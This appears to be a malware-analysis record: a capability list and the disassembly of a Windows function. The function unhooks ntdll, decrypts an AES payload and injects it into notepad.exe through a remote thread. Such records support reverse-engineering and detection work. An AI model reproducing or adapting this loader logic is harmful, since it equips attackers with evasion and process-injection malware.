Function at 0x140001560
Capabilities:
Contain obfuscated stackstrings
Create new key via cryptacquirecontext
Create thread
Encode data using xor
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate processes
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
lea rbp, [rsp - 0x100]
sub rsp, 0x200
lea rcx, str.kernel32.dll
mov dword [rsp + 0x40], 0x4d660059
mov dword [rsp + 0x44], 0x555e5453
mov dword [rsp + 0x48], 0x4966494d
mov dword [rsp + 0x4c], 0x5f4e4943
mov dword [rsp + 0x50], 0x66080957
mov dword [rsp + 0x54], 0x565e4e54
mov dword [rsp + 0x58], 0x565e1456
mov word [rsp + 0x5c], 0x3a56
mov dword [rbp - 0x70], 0x61657243
mov dword [rbp - 0x6c], 0x69466574
mov dword [rbp - 0x68], 0x614d656c
mov dword [rbp - 0x64], 0x6e697070
mov word [rbp - 0x60], 0x4167
mov byte [rbp - 0x5e], 0
mov dword [rsp + 0x60], 0x5670614d
mov dword [rsp + 0x64], 0x4f776569
mov dword [rsp + 0x68], 0x6c694666
mov word [rsp + 0x6c], 0x65
mov dword [rbp - 0x80], 0x616d6e55
mov dword [rbp - 0x7c], 0x65695670
mov dword [rbp - 0x78], 0x46664f77
mov dword [rbp - 0x74], 0x656c69
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movsx r8d, byte [rsp + 0x5d]
lea rdx, [rsp + 0x40]
xor r13d, r13d
mov qword [rbp + 0x138], rax
mov ecx, r13d
movd xmm1, r8d
punpcklbw xmm1, xmm1
punpcklwd xmm1, xmm1
pshufd xmm1, xmm1, 0
nop word [rax + rax]
movdqu xmm0, xmmword [rdx]
add ecx, 0x10
lea rdx, [rdx + 0x10]
xorps xmm0, xmm1
movdqu xmmword [rdx - 0x10], xmm0
cmp ecx, 0x10
jb 0x1400016a0
movsxd rax, ecx
cmp rax, 0x1e
jae 0x1400016de
lea rax, [rsp + rax + 0x40]
nop word [rax + rax]
xor byte [rax], r8b
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x1e
jb 0x1400016d0
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
lea rcx, [rsp + 0x40]
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000171e
add rsp, 0x200
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov qword [rsp + 0x28], r13
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], r13d
mov r8d, 0x1000002
mov qword [rsp + 0x1f0], r14
mov rcx, rsi
call rbx
mov r14, rax
test rax, rax
jne 0x14000175a
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [r14 - 1]
jmp 0x140001b11
xor r9d, r9d
mov qword [rsp + 0x1e8], r15
xor r8d, r8d
mov qword [rsp + 0x20], r13
mov rcx, r14
lea edx, [r9 + 4]
call rdi
mov r15, rax
test rax, rax
jne 0x140001799
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [r15 - 1]
jmp 0x140001b09
lea rcx, str.ntdll.dll
mov qword [rsp + 0x1f8], r12
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rdi, dword [r15 + 0x3c]
lea rcx, str.kernel32.dll
mov r12, rax
mov dword [rbp + 0x130], r13d
add rdi, r15
mov dword [rsp + 0x70], 0x74726956
mov dword [rsp + 0x74], 0x506c6175
mov dword [rsp + 0x78], 0x65746f72
mov word [rsp + 0x7c], 0x7463
mov byte [rsp + 0x7e], r13b
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx r9d, word [rdi + 6]
xor r8d, r8d
mov r13, rax
test r9d, r9d
je 0x140001899
movzx r10d, word [rdi + 0x14]
lea r11, str..text
nop
movsxd rcx, r8d
lea rdx, [rcx + rcx*4]
lea rbx, [r10 + rdx*8]
add rbx, rdi
xor ecx, ecx
movzx eax, byte [rbx + rcx + 0x18]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x140001931
cmp rcx, 6
jne 0x140001830
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x130]
mov edx, dword [rbx + 0x20]
add rcx, r12
mov r8d, 0x40
call r13
cmp dword [rbp + 0x130], 0
je 0x140001899
mov eax, dword [rbx + 0x24]
mov r8d, dword [rbx + 0x20]
lea rdx, [rax + r15]
lea rcx, [rax + r12]
call fcn.140016300
mov ecx, dword [rbx + 0x24]
lea r9, [rbp + 0x130]
mov edx, dword [rbx + 0x20]
add rcx, r12
mov r8d, dword [rbp + 0x130]
call r13
mov rcx, r15
call qword [rbp + 0x138]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor r15d, r15d
mov edi, r15d
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r12, qword [rsp + 0x1f8]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001b07
lea rdx, [rbp - 0x50]
mov dword [rbp - 0x50], 0x130
mov rcx, rax
call sub.KERNEL32.dll_Process32First
mov rcx, rbx
test eax, eax
je 0x140001b01
lea rdx, [rbp - 0x50]
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x140001945
lea rdx, [rbp - 0x24]
lea rcx, str.notepad.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140001942
lea rdx, [rbp - 0x50]
mov rcx, rbx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001904
mov rcx, rbx
jmp 0x140001b01
inc r8d
cmp r8d, r9d
jl 0x140001820
jmp 0x140001899
mov edi, dword [rbp - 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001b07
mov edx, edi
lea rcx, str.Notepad.exe_PID___d_n
call fcn.140001b40
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001b07
mov ebx, dword [0x140023160]
lea rcx, [rbp + 0x138]
mov r9d, 0x18
mov dword [rbp + 0x130], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea r14, section..data
test eax, eax
je 0x140001a89
mov rcx, qword [rbp + 0x138]
lea rax, [rbp + 0x140]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001a89
mov rcx, qword [rbp + 0x140]
lea rdx, [0x140023150]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001a89
mov r8, qword [rbp + 0x140]
lea rax, [rbp + 0x148]
mov rcx, qword [rbp + 0x138]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001a89
mov rcx, qword [rbp + 0x148]
lea rax, [rbp + 0x130]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r14
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001a89
mov rcx, qword [rbp + 0x138]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8, rbx
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov qword [rsp + 0x20], r15
mov rdx, rax
mov r8, r14
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov r9, rdi
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x140001afe
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov r15, qword [rsp + 0x1e8]
mov r14, qword [rsp + 0x1f0]
add rsp, 0x200
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret